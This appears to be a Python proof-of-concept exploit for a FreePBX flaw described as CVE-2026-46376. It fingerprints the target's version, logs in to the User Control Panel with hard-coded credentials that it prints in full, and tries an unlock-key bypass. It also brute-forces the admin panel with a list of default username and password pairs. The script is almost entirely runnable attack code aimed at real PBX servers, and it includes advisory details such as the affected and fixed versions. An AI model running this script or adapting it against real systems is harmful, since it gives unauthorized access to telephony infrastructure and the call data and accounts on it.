#!/usr/bin/env python3 """ CVE-2026-46376 - FreePBX Unauthenticated UCP Access via Hard-Coded Credentials Hard-coded credentials in FreePBX userman module UCP generic template setup allow unauthenticated attackers to access the User Control Panel (UCP). CVSS: 9.1 (Critical) CWE: 798 (Use of Hard-Coded Credentials) Affected: FreePBX 15.0.42+, userman <= 16.0.44 (FreePBX 16), userman <= 17.0.6 (FreePBX 17) Fixed in: userman 16.0.45, 17.0.7 """ import argparse import re import sys import warnings from urllib.parse import urljoin import requests warnings.filterwarnings("ignore", message="Unverified HTTPS request") USERNAME = "FreePBXUCPTemplateCreator" PASSWORD = "1a2b3c@fd48jshs03123ld" DEFAULT_ADMIN_CREDS = [ ("admin", "admin"), ("admin", "password"), ("maint", "password"), ("ampuser", "amp109"), ] AFFECTED_VERSIONS = [ ("15", 42, None, "FreePBX 15.0.42+"), ("16", 0, 44, "userman <= 16.0.44"), ("17", 0, 6, "userman <= 17.0.6"), ] GREEN = "\033[0;32m" RED = "\033[0;31m" YELLOW = "\033[1;33m" CYAN = "\033[0;36m" NC = "\033[0m" def ok(msg): print(f"{GREEN}[+]{NC} {msg}") def err(msg): print(f"{RED}[-]{NC} {msg}") def warn(msg): print(f"{YELLOW}[!]{NC} {msg}") def section(title): print(f"\n{CYAN}{'=' * 44}{NC}") print(f"{CYAN} {title}{NC}") print(f"{CYAN}{'=' * 44}{NC}") def version_in_range(version_str): try: parts = str(version_str).split(".") major, minor = parts[0], parts[1] patch = parts[2] if len(parts) > 2 else "0" except (IndexError, ValueError): return False for vmaj, vmin, vpatch, _ in AFFECTED_VERSIONS: if major == vmaj: if vpatch is None: if int(minor) >= vmin: return True else: if int(minor) < vmin: return True if int(minor) == vmin and int(patch) <= vpatch: return True return False def pre_flight(target: str, session: requests.Session) -> dict: """Run pre-flight checks to assess target readiness.""" section("Pre-Flight Checks") info = {"reachable": False, "has_ucp": False, "version": None, "in_range": False} try: r = session.get(target, timeout=10, verify=False) info["reachable"] = True ok(f"Target is reachable (HTTP {r.status_code})") except requests.RequestException as e: err(f"Target is unreachable: {e}") return info try: r = session.get(urljoin(target, "/admin/config.php"), timeout=10, verify=False) m = re.search(r"FreePBX (\d+\.\d+\.\d+)", r.text) if m: info["version"] = m.group(1) ok(f"FreePBX version: {info['version']}") info["in_range"] = version_in_range(info["version"]) if info["in_range"]: ok(f"Version {info['version']} is in the affected range") else: warn(f"Version {info['version']} may not be in the affected range") except requests.RequestException: warn("Could not access admin panel") try: r = session.get(urljoin(target, "/ucp/index.php"), timeout=10, verify=False) if "User Control Panel" in r.text: info["has_ucp"] = True ok("UCP interface is accessible") except requests.RequestException: warn("Could not access UCP") return info def exploit_ucp_credentials(target: str, session: requests.Session, preflight: dict): """Attempt UCP login using the hard-coded credentials.""" section("Method 1: Hard-Coded UCP Credentials") print(f" Username: {USERNAME}") print(f" Password: {PASSWORD}") try: r = session.get(urljoin(target, "/ucp/index.php"), timeout=10, verify=False) m = re.search(r'name="token" value="([^"]+)"', r.text) if not m: err("Could not extract CSRF token") return False token = m.group(1) ok(f"Got CSRF token: {token}") except requests.RequestException as e: err(f"Failed to fetch login page: {e}") return False try: r = session.post( urljoin(target, "/ucp/ajax.php"), data={ "token": token, "username": USERNAME, "password": PASSWORD, "email": "", "module": "User", "command": "login", }, headers={"X-Requested-With": "XMLHttpRequest"}, timeout=10, verify=False, ) try: data = r.json() except Exception: err("Login failed - AJAX endpoint returned non-JSON (wrong version or proxy interference)") return False if data.get("status") is True: ok(f"SUCCESS! Logged in as {USERNAME}") return True msg = data.get("message", "unknown error") err(f"Login failed - {msg}") return False except requests.RequestException as e: err(f"Login request failed: {e}") return False def exploit_unlock_bypass(target: str, session: requests.Session): """Attempt UCP unlock key bypass via template query parameters.""" section("Method 2: UCP Unlock Key Bypass") for tid in range(6): try: r = session.get( urljoin(target, f"/ucp/index.php?unlockkey=test&templateid={tid}"), timeout=10, verify=False, ) # Authenticated UCP shows "logout" links and action buttons # while the login form is replaced by dashboard content if ( "logout" in r.text.lower() and 'id="frm-login"' not in r.text and 'name="token"' not in r.text and ('class="main-block"' in r.text or 'data-section=' in r.text or 'widget' in r.text.lower()) ): ok(f"SUCCESS! Unlock key bypass worked with templateid={tid}") return True except requests.RequestException: pass err("Unlock key bypass failed") return False def exploit_admin_defaults(target: str, session: requests.Session): """Attempt admin panel login with common default credentials.""" section("Method 3: Admin Panel Default Credentials") try: r = session.get(urljoin(target, "/admin/config.php"), timeout=10, verify=False) token_m = re.search(r'name="token" value="([^"]+)"', r.text) token = token_m.group(1) if token_m else "" except requests.RequestException: token = "" for user, pwd in DEFAULT_ADMIN_CREDS: try: data = {"username": user, "password": pwd} if token: data["token"] = token r = session.post( urljoin(target, "/admin/config.php"), data=data, timeout=10, verify=False, ) if r.status_code == 401: continue body = r.text.lower() if "invalid username or password" in body: continue if "loginform" in body or 'id="loginform"' in body: continue if "freepbx administration" not in body and "freepbx" not in body: continue ok(f"SUCCESS! Admin login with {user}:{pwd}") return True except requests.RequestException: pass err("No default admin credentials worked") return False def main(): parser = argparse.ArgumentParser( description="CVE-2026-46376 - FreePBX Unauthenticated UCP Access PoC", formatter_class=argparse.RawDescriptionHelpFormatter, epilog=( "Hard-coded credentials in FreePBX userman UCP generic template setup.\n" "Affects FreePBX 15.0.42+ and unpatched userman on FreePBX 16/17.\n\n" "Discovered by s0nnyWT, disclosed May 2026." ), ) parser.add_argument("target", help="Target URL (e.g. http://192.168.1.100)") parser.add_argument( "--no-check", action="store_true", help="Skip version pre-flight check" ) parser.add_argument( "--yes", "-y", action="store_true", help="Auto-continue even if version is out of range" ) parser.add_argument("--timeout", type=int, default=15, help="Request timeout in seconds") parser.add_argument( "--method", choices=["creds", "unlock", "admin", "all"], default="all", help="Which exploit method to run (default: all)", ) args = parser.parse_args() target = args.target.rstrip("/") session = requests.Session() print() print(f"{CYAN}{'=' * 44}{NC}") print(f"{CYAN} CVE-2026-46376 PoC - FreePBX UCP Access{NC}") print(f"{CYAN} Target: {target}{NC}") print(f"{CYAN}{'=' * 44}{NC}") preflight = pre_flight(target, session) if not preflight["reachable"]: sys.exit(1) if not args.no_check and preflight["version"] and not preflight["in_range"]: warn("Target version appears outside the affected range — exploitation unlikely") if not args.yes: confirm = input(f"{YELLOW}[?]{NC} Continue anyway? [y/N] ") if confirm.lower() != "y": print("Exiting.") sys.exit(0) section("Exploitation") results = {} if args.method in ("creds", "all"): results["creds"] = exploit_ucp_credentials(target, session, preflight) if args.method in ("unlock", "all"): results["unlock"] = exploit_unlock_bypass(target, session) if args.method in ("admin", "all"): results["admin"] = exploit_admin_defaults(target, session) section("Summary") if any(results.values()): print(f"{GREEN}Target is VULNERABLE{NC}") else: print(f"{RED}Target is NOT vulnerable (or version not in affected range){NC}") print(f"\n {YELLOW}Username:{NC} {USERNAME}") print(f" {YELLOW}Password:{NC} {PASSWORD}") print() print(" Affected versions:") for _, _, _, label in AFFECTED_VERSIONS: print(f" - {label}") print(" Fixed in: userman 16.0.45, 17.0.7") if __name__ == "__main__": main()